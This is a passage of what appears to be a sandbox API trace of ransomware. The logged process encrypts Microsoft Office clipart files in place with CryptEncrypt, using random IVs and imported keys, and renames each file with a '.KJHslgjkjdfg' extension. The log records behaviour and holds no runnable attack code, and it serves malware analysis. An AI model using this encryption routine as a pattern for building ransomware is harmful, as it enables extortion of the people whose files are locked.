0x990000 [0194.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.kjhslgjkjdfg")) returned 1 [0194.209] CloseHandle (hObject=0x130) returned 1 [0194.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0194.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.210] GetProcessHeap () returned 0x990000 [0194.210] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.210] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.212] GetProcessHeap () returned 0x990000 [0194.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.212] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.212] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.212] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.212] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.212] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.212] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.212] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.212] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x126c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x126c, lpOverlapped=0x0) returned 1 [0194.213] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270, dwBufLen=0x1270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270) returned 1 [0194.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.213] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1270, lpOverlapped=0x0) returned 1 [0194.213] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.213] SetEndOfFile (hFile=0x130) returned 1 [0194.216] GetProcessHeap () returned 0x990000 [0194.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.216] GetProcessHeap () returned 0x990000 [0194.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.kjhslgjkjdfg")) returned 1 [0194.217] CloseHandle (hObject=0x130) returned 1 [0194.217] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0194.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.220] GetProcessHeap () returned 0x990000 [0194.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.220] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0194.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.223] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.223] GetProcessHeap () returned 0x990000 [0194.223] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.223] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.223] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.223] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.223] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.223] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.223] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.224] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.224] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.224] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.224] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4146, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4146, lpOverlapped=0x0) returned 1 [0194.225] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4150, dwBufLen=0x4150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4150) returned 1 [0194.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.225] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4150, lpOverlapped=0x0) returned 1 [0194.225] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.225] SetEndOfFile (hFile=0x130) returned 1 [0194.228] GetProcessHeap () returned 0x990000 [0194.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.228] GetProcessHeap () returned 0x990000 [0194.228] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.kjhslgjkjdfg")) returned 1 [0194.229] CloseHandle (hObject=0x130) returned 1 [0194.229] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0194.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.230] GetProcessHeap () returned 0x990000 [0194.230] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.230] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.230] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0194.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.232] GetProcessHeap () returned 0x990000 [0194.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.232] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.232] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.232] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.233] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.233] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.233] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.233] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.233] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9d27, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9d27, lpOverlapped=0x0) returned 1 [0194.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d30) returned 1 [0194.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.235] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9d30, lpOverlapped=0x0) returned 1 [0194.235] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.235] SetEndOfFile (hFile=0x130) returned 1 [0194.238] GetProcessHeap () returned 0x990000 [0194.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.238] GetProcessHeap () returned 0x990000 [0194.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.kjhslgjkjdfg")) returned 1 [0194.245] CloseHandle (hObject=0x130) returned 1 [0194.245] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0194.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.245] GetProcessHeap () returned 0x990000 [0194.245] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.245] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.246] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0194.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.248] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.248] GetProcessHeap () returned 0x990000 [0194.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.248] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.248] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.248] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.248] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.248] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.248] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.249] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8379, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8379, lpOverlapped=0x0) returned 1 [0194.250] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8380, dwBufLen=0x8380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8380) returned 1 [0194.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.250] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8380, lpOverlapped=0x0) returned 1 [0194.250] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.250] SetEndOfFile (hFile=0x130) returned 1 [0194.253] GetProcessHeap () returned 0x990000 [0194.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.253] GetProcessHeap () returned 0x990000 [0194.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.kjhslgjkjdfg")) returned 1 [0194.254] CloseHandle (hObject=0x130) returned 1 [0194.254] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0194.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.256] GetProcessHeap () returned 0x990000 [0194.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.256] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, 